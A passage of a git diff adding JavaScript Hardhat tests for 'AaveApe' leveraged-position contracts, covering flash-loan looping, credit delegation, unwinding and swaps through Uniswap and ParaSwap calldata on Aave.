+    it("Revert if the user has not given Aave Ape an allowance on the aToken", async function () {
+
+      let interestRateMode = 2
+
+      await depositEthInAave(pooladdress, userAddress, "5")
+      await delegateCreditToTheApe(daiAddress, interestRateMode)
+      await aaveApe['ape'](wethAddress, daiAddress, interestRateMode)
+      await expect(aaveApe['unwindApe'](wethAddress, daiAddress, interestRateMode)).to.be.reverted;
+
+    })
+
+    it("Revert if the user does not have enough apeAsset collateral to repay the debt", async function () {
+
+      let interestRateMode = 2
+
+      await depositEthInAave(pooladdress, userAddress, "5")
+      await delegateCreditToTheApe(daiAddress, interestRateMode)
+
+      // Go long USDC, which we don't have deposited
+      await aaveApe['ape'](usdcAddress, daiAddress, interestRateMode)
+
+      // When we go to unwind, we don't have enough USDC to pay our debt
+      await expect(aaveApe['unwindApe'](usdcAddress, daiAddress, interestRateMode)).to.be.reverted;
+
+    })
+
+    it("Success if the user has debt, has approved and has enough collateral", async function () {
+
+      let interestRateMode = 2
+
+      await depositEthInAave(pooladdress, userAddress, "5")
+      await delegateCreditToTheApe(daiAddress, interestRateMode)
+      await aaveApe['ape'](wethAddress, daiAddress, interestRateMode)
+
+      let aToken = await getAToken(wethAddress)
+      let debtToken = await getDebtToken(daiAddress, interestRateMode, true)
+
+      await aToken.approve(aaveApe.target, ethers.MaxUint256)
+
+      let aBalanceBefore = await aToken.balanceOf(userAddress)
+      let debtBalanceBefore = await debtToken.balanceOf(userAddress)
+
+      await expect(aaveApe['unwindApe'](wethAddress, daiAddress, interestRateMode)).to.emit(aaveApe, 'Ape');
+
+      let aBalanceAfter = await aToken.balanceOf(userAddress)
+      let debtBalanceAfter = await debtToken.balanceOf(userAddress)
+
+      expect(aBalanceAfter < aBalanceBefore)
+      expect(debtBalanceAfter === 0)
+
+    })
+  })
+});
diff --git a/basic/21-aave-uni-loan/test/test_aave_ape_plus.js b/basic/21-aave-uni-loan/test/test_aave_ape_plus.js
new file mode 100644
index 000000000..00c2ac915
--- /dev/null
+++ b/basic/21-aave-uni-loan/test/test_aave_ape_plus.js
@@ -0,0 +1,280 @@
+const { expect } = require("chai");
+const {network, config, ethers} = require('hardhat');
+
+const networkAddressMapping = config.networkAddressMapping;
+
+// check addressMapping has the network
+if (!networkAddressMapping[network.name]) {
+  throw new Error('network ' + network.name + ' dont config in the addressMapping, please add it');
+}
+
+const {
+  daiAddress,
+  wethAddress,
+  usdcAddress,
+  wbtcAddress,
+ 
+  lendingPoolAddressesProviderAddress,
+  uniswapRouterAddress,
+  wethGatewayAddress
+} = networkAddressMapping[network.name];
+
+const depositEthInAave = async (_poolAddress, _userAddress, _amount) => {
+  // console.log("isAddressable", _poolAddress, _userAddress, ethers.isAddressable(_poolAddress), ethers.isAddressable(_userAddress))
+  const ethGateway = await ethers.getContractAt('IWrappedTokenGatewayV3', wethGatewayAddress)
+  let metadata = {
+    value: ethers.parseEther(_amount)
+  }
+
+  let ethDeposit = await ethGateway.depositETH(_poolAddress, _userAddress, 0, metadata)
+  // console.log('eth deposit successfully');
+}
+
+const supplyWbtcInAave = async (_userAddress, _amount) => {
+  const lendingPool = await getLendingPool();
+  await lendingPool['supply'](wbtcAddress, _amount, _userAddress, 0);
+}
+
+const swapEthToWbtc = async (_amount, _userAddress) => {
+  const uniswapRouter = await ethers.getContractAt('ISwapRouter', uniswapRouterAddress)
+  //swap use uniswap v3 ISwapRouter exactOutputSingle
+  const deadline = Math.floor(Date.now() / 1000) + 60;
+  const recipient = _userAddress;
+  const sqrtPriceLimitX96 = 0;
+  const amountIn = await uniswapRouter.exactOutputSingle({
+    tokenIn: wethAddress,
+    tokenOut: wbtcAddress,
+    fee: 3000,
+    recipient,
+    deadline,
+    amountOut: _amount,
+    amountInMaximum: ethers.MaxUint256,
+    sqrtPriceLimitX96,
+  });
+
+  return amountIn;
+}
+
+const getLendingPool = async () => {
+
+  const lendingPoolAddressesProvider = await ethers.getContractAt('IPoolAddressesProvider', lendingPoolAddressesProviderAddress)
+  let lendingPoolAddress = await lendingPoolAddressesProvider['getPool']()
+  let lendingPool = await ethers.getContractAt('IPool', lendingPoolAddress)
+
+  return lendingPool
+}
+
+const getAToken = async (_asset) => {
+
+  let lendingPool = await getLendingPool()
+  let assetReserveData = await lendingPool['getReserveData'](_asset)
+  let assetAToken = await ethers.getContractAt('IAToken', assetReserveData.aTokenAddress)
+
+  return assetAToken
+}
+
+const getDebtToken = async (_asset, _interestRateMode, erc20=false) => {
+
+  let lendingPool = await getLendingPool()
+
+  let assetReserveData = await lendingPool['getReserveData'](_asset)
+  let assetDebtToken
+
+  if(_interestRateMode === 1) {
+    let interface = erc20===true?'IERC20':'IStableDebtToken'
+    assetDebtToken = await ethers.getContractAt(interface, assetReserveData.stableDebtTokenAddress)
+  } else {
+    let interface = erc20===true?'IERC20':'IVariableDebtToken'
+    assetDebtToken = await ethers.getContractAt(interface, assetReserveData.variableDebtTokenAddress)
+  }
+
+  return assetDebtToken
+}
+
+const delegateCreditToTheApe = async (_asset, _interestRateMode = 2) => {
+
+  let assetDebtToken = await getDebtToken(_asset, _interestRateMode)
+  let assetDebtApproval = await assetDebtToken['approveDelegation'](aaveApe.target, ethers.MaxUint256)
+}
+
+describe("AaveApePlus", function () {
+
+  beforeEach(async () => {
+
+    const AaveApe = await ethers.getContractFactory("AaveApePlus");
+    aaveApe = await AaveApe.deploy(lendingPoolAddressesProviderAddress, uniswapRouterAddress);
+    const [user] = await ethers.getSigners();
+    userAddress = user.address;
+    const lendingpool = await getLendingPool();
+    pooladdress = lendingpool.target;
+  });
+
+  describe("Address verification", function () {
+
+    it("ROUTER_ADDRESS", async function () {
+      expect(await aaveApe.UNISWAP_ROUTER()).to.equal(uniswapRouterAddress)
+    })
+
+    it("LENDING_POOL", async function () {
+      const _lendingPoolAddressesProvider = await ethers.getContractAt('IPoolAddressesProvider', lendingPoolAddressesProviderAddress)
+      _lendingPoolAddress = await _lendingPoolAddressesProvider['getPool']()
+      expect(await aaveApe.LENDING_POOL()).to.equal(_lendingPoolAddress);
+    })
+
+  })
+
+  describe("get max liquidity pool", function() {
+    it("get max liquidity pool of WEH/DAI", async function() {
+      expect(await aaveApe.getBestPool(wethAddress, daiAddress)).to.not.equal("0x0000000000000000000000000000000000000000");
+    })
+  })
+
+  describe("Going flash ape", function () {
+    it("Revert if the user has no collateral", async function () {
+
+      await expect(aaveApe['flashApe'](wethAddress, daiAddress, 1, 2)).to.be.reverted;
+
+    })
+
+    it("Revert if the user has not delegated credit to the Ape", async function () {
+
+      await depositEthInAave(pooladdress, userAddress, "5")
+      let borrowAmount = ethers.parseEther('40000') //borrow 40000 DAI
+      await expect(aaveApe['flashApe'](wethAddress, daiAddress, borrowAmount, 2)).to.be.reverted;
+
+    })
+
+    it("Succeeds flash ape, looooooooooooping", async function () {
+      let interestRateMode = 2
+
+      await depositEthInAave(pooladdress, userAddress, "5")
+      await delegateCreditToTheApe(daiAddress, interestRateMode)
+
+      let aToken = await getAToken(wethAddress)
+      let debtToken = await getDebtToken(daiAddress, interestRateMode, true)
+
+      let aBalanceBefore = await aToken.balanceOf(userAddress)
+      let debtBalanceBefore = await debtToken.balanceOf(userAddress)
+
+      let borrowAmount = ethers.parseEther('40000') //borrow 40000 DAI
+      await expect(aaveApe['flashApe'](wethAddress, daiAddress, borrowAmount, interestRateMode)).to.emit(aaveApe, 'Ape')
+
+      let aBalanceAfter = await aToken.balanceOf(userAddress)
+      let debtBalanceAfter = await debtToken.balanceOf(userAddress)
+
+      expect(aBalanceAfter > aBalanceBefore)
+      expect(debtBalanceAfter > debtBalanceBefore)
+    })
+  })
+
+  describe("flash unwind an ape", function () {
+    it("Revert if there is no collateral", async function () {
+      await expect(aaveApe['flashUnwind'](wethAddress, daiAddress, 1, 2)).to.be.reverted;
+    })
+
+    it("Revert if there is no debt to repay", async function () {
+      await depositEthInAave(pooladdress, userAddress, "5")
+      await expect(aaveApe['flashUnwind'](wethAddress, daiAddress, 1, 2)).to.be.reverted;
+    })
+
+    it("Revert if the user has not given Aave Ape an allowance on the aToken", async function () {
+      let interestRateMode = 2
+
+      await depositEthInAave(pooladdress, userAddress, "5")
+      await delegateCreditToTheApe(daiAddress, interestRateMode)
+
+      let borrowAmount = ethers.parseEther('40000') //borrow 40000 DAI
+      await aaveApe['flashApe'](wethAddress, daiAddress, borrowAmount, interestRateMode)
+
+      await expect(aaveApe['flashUnwind'](wethAddress, daiAddress, borrowAmount, interestRateMode)).to.be.reverted;
+    })
+
+    it("Revert if the user does not have enough apeAsset collateral to repay the debt", async function () {
+
+      let interestRateMode = 2
+
+      await depositEthInAave(pooladdress, userAddress, "5")
+      await delegateCreditToTheApe(daiAddress, interestRateMode)
+
+      let daiAmount = ethers.parseEther('40000')
+
+      // Go long USDC, which we don't have deposited
+      await aaveApe['flashApe'](usdcAddress, daiAddress, daiAmount, interestRateMode)
+
+      // When we go to unwind, we don't have enough USDC to pay our debt
+      await expect(aaveApe['flashUnwind'](usdcAddress, daiAddress, daiAmount, interestRateMode)).to.be.reverted;
+
+    })
+
+    it("Success if the user has debt, has approved and has enough collateral", async function () {
+
+      let interestRateMode = 2
+
+      await depositEthInAave(pooladdress, userAddress, "5")
+      await delegateCreditToTheApe(daiAddress, interestRateMode)
+
+      let borrowAmount = ethers.parseEther('40000')
+      await aaveApe['flashApe'](wethAddress, daiAddress, borrowAmount, interestRateMode)
+
+      let aToken = await getAToken(wethAddress)
+      let debtToken = await getDebtToken(daiAddress, interestRateMode, true)
+
+      await aToken.approve(aaveApe.target, ethers.MaxUint256)
+
+      let aBalanceBefore = await aToken.balanceOf(userAddress)
+      let debtBalanceBefore = await debtToken.balanceOf(userAddress)
+
+      await expect(aaveApe['flashUnwind'](wethAddress, daiAddress, borrowAmount, interestRateMode)).to.emit(aaveApe, 'Ape');
+
+      let aBalanceAfter = await aToken.balanceOf(userAddress)
+      let debtBalanceAfter = await debtToken.balanceOf(userAddress)
+
+      expect(aBalanceAfter < aBalanceBefore)
+      expect(debtBalanceAfter === 0)
+    })
+
+
+    it("Success if has two ape assets, unwind debt amount greater than one", async function () {
+
+      let interestRateMode = 2
+
+      await depositEthInAave(pooladdress, userAddress, "5")
+
+      //wrap eth to weth
+      const weth = await ethers.getContractAt('IWETH', wethAddress)
+      await weth.deposit({ value: ethers.parseEther('100') })
+
+      await weth.approve(uniswapRouterAddress, ethers.MaxUint256)
+
+      let btcAmount = ethers.parseUnits('0.1', 8)
+      await swapEthToWbtc(btcAmount, userAddress)
+
+      let wbtc = await ethers.getContractAt('IERC20', wbtcAddress)
+      await wbtc.approve(pooladdress, ethers.MaxUint256)
+
+      await supplyWbtcInAave(userAddress, btcAmount)
+      await delegateCreditToTheApe(daiAddress, interestRateMode)
+
+      let borrowAmount = ethers.parseEther('40000')
+      await aaveApe['flashApe'](wethAddress, daiAddress, borrowAmount, interestRateMode)
+
+      let aToken = await getAToken(wbtcAddress)
+      let debtToken = await getDebtToken(daiAddress, interestRateMode, true)
+
+      await aToken.approve(aaveApe.target, ethers.MaxUint256)
+
+      let aBalanceBefore = await aToken.balanceOf(userAddress)
+      let debtBalanceBefore = await debtToken.balanceOf(userAddress)
+
+      await expect(aaveApe['flashUnwind'](wbtcAddress, daiAddress, borrowAmount, interestRateMode)).to.emit(aaveApe, 'Ape');
+
+      let aBalanceAfter = await aToken.balanceOf(userAddress)
+      let debtBalanceAfter = await debtToken.balanceOf(userAddress)
+
+      expect(aBalanceAfter < aBalanceBefore)
+      expect(debtBalanceAfter === 0)
+    })
+
+  })
+
+});
diff --git a/basic/21-aave-uni-loan/test/test_aave_ape_plus_v2.js b/basic/21-aave-uni-loan/test/test_aave_ape_plus_v2.js
new file mode 100644
index 000000000..b6ae466b5
--- /dev/null
+++ b/basic/21-aave-uni-loan/test/test_aave_ape_plus_v2.js
@@ -0,0 +1,321 @@
+const { expect } = require("chai");
+const {network, config, ethers} = require('hardhat');
+
+const networkAddressMapping = config.networkAddressMapping;
+
+// check addressMapping has the network
+if (!networkAddressMapping[network.name]) {
+  throw new Error('network ' + network.name + ' dont config in the addressMapping, please add it');
+}
+
+const {
+  daiAddress,
+  wethAddress,
+  usdcAddress,
+  wbtcAddress,
+ 
+  lendingPoolAddressesProviderAddress,
+  wethGatewayAddress,
+
+  augustusRegistryAddress
+} = networkAddressMapping[network.name];
+
+const augustusSwapAddrss = "0xDEF171Fe48CF0115B1d80b88dc8eAB59176FEe57";
+
+// node ./scripts/psp.js 1 0x6B175474E89094C44Da98b954EedeAC495271d0F 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 40000000000000000000000 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 SELL 3 false 18 18
+const daiToWethCalldata = "0xa94e78ef00000000000000000000000000000000000000000000000000000000000000200000000000000000000000006b175474e89094c44da98b954eedeac495271d0f000000000000000000000000000000000000000000000878678326eac9000000000000000000000000000000000000000000000000000000900d2812bac380c80000000000000000000000000000000000000000000000009481afe914fe5543000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001600000000000000000000000009abf798f5314bfd793a9e57a654bed35af4a1d600100000000000000000000000000000000000000000000000000000000031388000000000000000000000000000000000000000000000000000000000000072000000000000000000000000000000000000000000000000000000000664d31caf5dc14b49730462d965aaa5b3b217f9a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000002c0000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb480000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000020000000000000000000000000baeeb4540f59d30e567a5b563cc0c4587edd936600000000000000000000000000000000000000000000000000000000000027100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000900000000000000000000000089b78cfa322f6c5de0abceecab66aee45393cc5a000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000a59649758aa4d66e25f08dd01271e891fe521990000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e8d4a51000000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000009be264469ef954c139da4a45cf76cbcc5e3a6a73000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000006000000000000000000000000e592427a0aece92de3edee1f18e0157c05861564000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000665617e9000000000000000000000000000000000000000000000000000000000000002ba0b86991c6218b36c1d19d4a2e9eb0ce3606eb480001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
+
+const wethToDaicallData = "0x2298207a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000006b175474e89094c44da98b954eedeac495271d0f00000000000000000000000000000000000000000000000099229b2939673347000000000000000000000000000000000000000000000878678326eac900000000000000000000000000000000000000000000000000000094acc859bb7597b000000000000000000000000000000000000000000000000000000000000001e0000000000000000000000000000000000000000000000000000000000000022000000000000000000000000000000000000000000000000000000000000003a0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009abf798f5314bfd793a9e57a654bed35af4a1d600100000000000000000000000000000000000000000000000000000000031388000000000000000000000000000000000000000000000000000000000000044000000000000000000000000000000000000000000000000000000000664d31e3465ef87ae96249559fb6f3056f9b72ce000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000e592427a0aece92de3edee1f18e0157c058615640000000000000000000000000000000000000000000000000000000000000144f28c0498000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000def171fe48cf0115b1d80b88dc8eab59176fee570000000000000000000000000000000000000000000000000000000066561803000000000000000000000000000000000000000000000878678326eac900000000000000000000000000000000000000000000000000000099229b293967334500000000000000000000000000000000000000000000000000000000000000426b175474e89094c44da98b954eedeac495271d0f000064a0b86991c6218b36c1d19d4a2e9eb0ce3606eb480001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000144000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
+
+const depositEthInAave = async (_poolAddress, _userAddress, _amount) => {
+  // console.log("isAddressable", _poolAddress, _userAddress, ethers.isAddressable(_poolAddress), ethers.isAddressable(_userAddress))
+  const ethGateway = await ethers.getContractAt('IWrappedTokenGatewayV3', wethGatewayAddress)
+  let metadata = {
+    value: ethers.parseEther(_amount)
+  }
+
+  let ethDeposit = await ethGateway.depositETH(_poolAddress, _userAddress, 0, metadata)
+  // console.log('eth deposit successfully');
+}
+
+const getLendingPool = async () => {
+
+  const lendingPoolAddressesProvider = await ethers.getContractAt('IPoolAddressesProvider', lendingPoolAddressesProviderAddress)
+  let lendingPoolAddress = await lendingPoolAddressesProvider['getPool']()
+  let lendingPool = await ethers.getContractAt('IPool', lendingPoolAddress)
+
+  return lendingPool
+}
+
+const getAToken = async (_asset) => {
+
+  let lendingPool = await getLendingPool()
+  let assetReserveData = await lendingPool['getReserveData'](_asset)
+  let assetAToken = await ethers.getContractAt('IAToken', assetReserveData.aTokenAddress)
+
+  return assetAToken
+}
+
+const getDebtToken = async (_asset, _interestRateMode, erc20=false) => {
+
+  let lendingPool = await getLendingPool()
+
+  let assetReserveData = await lendingPool['getReserveData'](_asset)
+  let assetDebtToken
+
+  if(_interestRateMode === 1) {
+    let interface = erc20===true?'IERC20':'IStableDebtToken'
+    assetDebtToken = await ethers.getContractAt(interface, assetReserveData.stableDebtTokenAddress)
+  } else {
+    let interface = erc20===true?'IERC20':'IVariableDebtToken'
+    assetDebtToken = await ethers.getContractAt(interface, assetReserveData.variableDebtTokenAddress)
+  }
+
+  return assetDebtToken
+}
+
+const delegateCreditToTheApe = async (_asset, _interestRateMode = 2) => {
+
+  let assetDebtToken = await getDebtToken(_asset, _interestRateMode)
+  let assetDebtApproval = await assetDebtToken['approveDelegation'](aaveApe.target, ethers.MaxUint256)
+}
+
+const getParaSwapCalldata = (from, to, _amount, calldata) => {
+  let paraswapCalldata = [
+    augustusSwapAddrss,
+    from,
+    to,
+    _amount,
+    ethers.getBytes(calldata)
+  ]
+  return paraswapCalldata;
+}
+
+
+describe("AaveApePlusV2", function () {
+
+  beforeEach(async () => {
+
+    const AaveApe = await ethers.getContractFactory("AaveApePlusV2");
+    aaveApe = await AaveApe.deploy(lendingPoolAddressesProviderAddress, augustusRegistryAddress);
+    const [user] = await ethers.getSigners();
+    userAddress = user.address;
+    const lendingpool = await getLendingPool();
+    pooladdress = lendingpool.target;
+  });
+
+  describe("Address verification", function () {
+    it("AUGUSTUS_REGISTRY", async function () {
+      expect(await aaveApe.AUGUSTUS_REGISTRY()).to.equal(augustusRegistryAddress)
+    })
+
+    it("LENDING_POOL", async function () {
+      const _lendingPoolAddressesProvider = await ethers.getContractAt('IPoolAddressesProvider', lendingPoolAddressesProviderAddress)
+      _lendingPoolAddress = await _lendingPoolAddressesProvider['getPool']()
+      expect(await aaveApe.LENDING_POOL()).to.equal(_lendingPoolAddress);
+    })
+
+  })
+
+  describe("Going flash ape", function () {
+    it("Revert if the user has no collateral", async function () {
+
+      let paraswapCalldata = getParaSwapCalldata(
+        daiAddress,
+        wethAddress,
+        1,
+        daiToWethCalldata
+      )
+
+      await expect(aaveApe['flashApe'](wethAddress, daiAddress, 1, 2, paraswapCalldata)).to.be.reverted;
+
+    })
+
+    it("Revert if the user has not delegated credit to the Ape", async function () {
+
+      await depositEthInAave(pooladdress, userAddress, "5")
+      let borrowAmount = ethers.parseEther('40000') //borrow 40000 DAI
+
+      let paraswapCalldata = getParaSwapCalldata(
+        daiAddress,
+        wethAddress,
+        borrowAmount,
+        daiToWethCalldata
+      )
+
+      await expect(aaveApe['flashApe'](wethAddress, daiAddress, borrowAmount, 2, paraswapCalldata)).to.be.reverted;
+    })
+
+    it("Succeeds flash ape, looooooooooooping", async function () {
+      let interestRateMode = 2
+
+      await depositEthInAave(pooladdress, userAddress, "5")
+      await delegateCreditToTheApe(daiAddress, interestRateMode)
+
+      let aToken = await getAToken(wethAddress)
+      let debtToken = await getDebtToken(daiAddress, interestRateMode, true)
+
+      let aBalanceBefore = await aToken.balanceOf(userAddress)
+      let debtBalanceBefore = await debtToken.balanceOf(userAddress)
+
+      let borrowAmount = ethers.parseEther('40000') //borrow 40000 DAI
+
+      let paraswapCalldata = getParaSwapCalldata(
+        daiAddress,
+        wethAddress,
+        borrowAmount,
+        daiToWethCalldata
+      )
+
+      await expect(aaveApe['flashApe'](wethAddress, daiAddress, borrowAmount, interestRateMode, paraswapCalldata)).to.emit(aaveApe, 'Ape')
+
+      let aBalanceAfter = await aToken.balanceOf(userAddress)
+      let debtBalanceAfter = await debtToken.balanceOf(userAddress)
+
+      expect(aBalanceAfter > aBalanceBefore)
+      expect(debtBalanceAfter > debtBalanceBefore)
+    })
+  })
+
+  
+  describe("flash unwind an ape", function () {
+    
+    it("Revert if there is no collateral", async function () {
+      let paraswapCalldata = getParaSwapCalldata(
+        daiAddress,
+        wethAddress,
+        1,
+        daiToWethCalldata
+      )
+      await expect(aaveApe['flashUnwind'](wethAddress, daiAddress, 1, 2, paraswapCalldata)).to.be.reverted;
+    })
+
+    it("Revert if there is no debt to repay", async function () {
+      await depositEthInAave(pooladdress, userAddress, "5")
+
+      let paraswapCalldata = getParaSwapCalldata(
+        daiAddress,
+        wethAddress,
+        1,
+        daiToWethCalldata
+      )
+
+      await expect(aaveApe['flashUnwind'](wethAddress, daiAddress, 1, 2, paraswapCalldata)).to.be.reverted;
+    })
+
+    it("Revert if the user has not given Aave Ape an allowance on the aToken", async function () {
+      let interestRateMode = 2
+
+      await depositEthInAave(pooladdress, userAddress, "5")
+      await delegateCreditToTheApe(daiAddress, interestRateMode)
+
+      let borrowAmount = ethers.parseEther('40000') //borrow 40000 DAI
+
+      let paraswapCalldata = getParaSwapCalldata(
+        daiAddress,
+        wethAddress,
+        borrowAmount,
+        daiToWethCalldata
+      )
+
+      await aaveApe['flashApe'](wethAddress, daiAddress, borrowAmount, interestRateMode, paraswapCalldata)
+
+      paraswapCalldata = getParaSwapCalldata(
+        wethAddress,
+        daiAddress,
+        borrowAmount,
+        wethToDaicallData
+      )
+
+      await expect(aaveApe['flashUnwind'](wethAddress, daiAddress, borrowAmount, interestRateMode, paraswapCalldata)).to.be.reverted;
+    })
+
+    it("Success if the user has debt, has approved and has enough collateral", async function () {
+
+      let interestRateMode = 2
+
+      await depositEthInAave(pooladdress, userAddress, "5")
+      await delegateCreditToTheApe(daiAddress, interestRateMode)
+
+      let borrowAmount = ethers.parseEther('40000')
+
+      let paraswapCalldata = getParaSwapCalldata(
+        daiAddress,
+        wethAddress,
+        borrowAmount,
+        daiToWethCalldata
+      )
+
+      await aaveApe['flashApe'](wethAddress, daiAddress, borrowAmount, interestRateMode, paraswapCalldata)
+
+      let aToken = await getAToken(wethAddress)
+      let debtToken = await getDebtToken(daiAddress, interestRateMode, true)
+
+      await aToken.approve(aaveApe.target, ethers.MaxUint256)
+
+      let aBalanceBefore = await aToken.balanceOf(userAddress)
+      let debtBalanceBefore = await debtToken.balanceOf(userAddress)
+      
+      paraswapCalldata = getParaSwapCalldata(
+        wethAddress,
+        daiAddress,
+        borrowAmount,
+        wethToDaicallData
+      )
+
+      await expect(aaveApe['flashUnwind'](wethAddress, daiAddress, borrowAmount, interestRateMode, paraswapCalldata)).to.emit(aaveApe, 'Ape');
+
+      let aBalanceAfter = await aToken.balanceOf(userAddress)
+      let debtBalanceAfter = await debtToken.balanceOf(userAddress)
+
+      expect(aBalanceAfter < aBalanceBefore)
+      expect(debtBalanceAfter === 0)
+    })
+
+    it("Success if vault not enough liqidity", async function () {
+
+      let interestRateMode = 2
+
+      let borrowAssetAddress = "0xf939e0a03fb07f59a73314e73794be0e57ac1b4e"; //crvUSD
+
+      await depositEthInAave(pooladdress, userAddress, "5")
+      await delegateCreditToTheApe(borrowAssetAddress, interestRateMode)
+
+      let borrowAmount = ethers.parseEther('20000')
+
+      let paraswapCalldata = getParaSwapCalldata(
+        borrowAssetAddress,
+        wethAddress,
+        borrowAmount,
+        "0xa94e78ef0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000f939e0a03fb07f59a73314e73794be0e57ac1b4e00000000000000000000000000000000000000000000043c33c193756480000000000000000000000000000000000000000000000000000046bd8c4552169d1500000000000000000000000000000000000000000000000048eda31551fcebd7000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001600000000000000000000000009abf798f5314bfd793a9e57a654bed35af4a1d60010000000000000000000000000000000000000000000000000000000003138800000000000000000000000000000000000000000000000000000000000008e000000000000000000000000000000000000000000000000000000000664d1354ec52d1f901374a419b031d7cce6645bb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000002e0000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000009be264469ef954c139da4a45cf76cbcc5e3a6a73000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000003000000000000000000000000390f3595bca2df7d23783dfd126427cceb997bf4000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000009be264469ef954c139da4a45cf76cbcc5e3a6a730000000000000000000000000000000000000000000000000000000000002710000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000001c00000000000000000000000000000000000000000000000000000000000000006000000000000000000000000e592427a0aece92de3edee1f18e0157c058615640000000000000000000000000000000000000000000000000000000000000c8000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000006655f973000000000000000000000000000000000000000000000000000000000000002bdac17f958d2ee523a2206206994597c13d831ec7000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000000000000001b81d678ffb9c0263b24a97847620c99d213eb140000000000000000000000000000000000000000000000000000000000001a9000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000006655f973000000000000000000000000000000000000000000000000000000000000002bdac17f958d2ee523a2206206994597c13d831ec70001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
+      )
+
+      await aaveApe['flashApe'](wethAddress, borrowAssetAddress, borrowAmount, interestRateMode, paraswapCalldata)
+
+      let aToken = await getAToken(wethAddress)
+      let debtToken = await getDebtToken(borrowAssetAddress, interestRateMode, true)
+
+      await aToken.approve(aaveApe.target, ethers.MaxUint256)
+
+      let aBalanceBefore = await aToken.balanceOf(userAddress)
+      let debtBalanceBefore = await debtToken.balanceOf(userAddress)
+      
+      let srcAmount = ethers.parseEther('6')
+      paraswapCalldata = getParaSwapCalldata(
+        wethAddress,
+        borrowAssetAddress,
+        srcAmount,
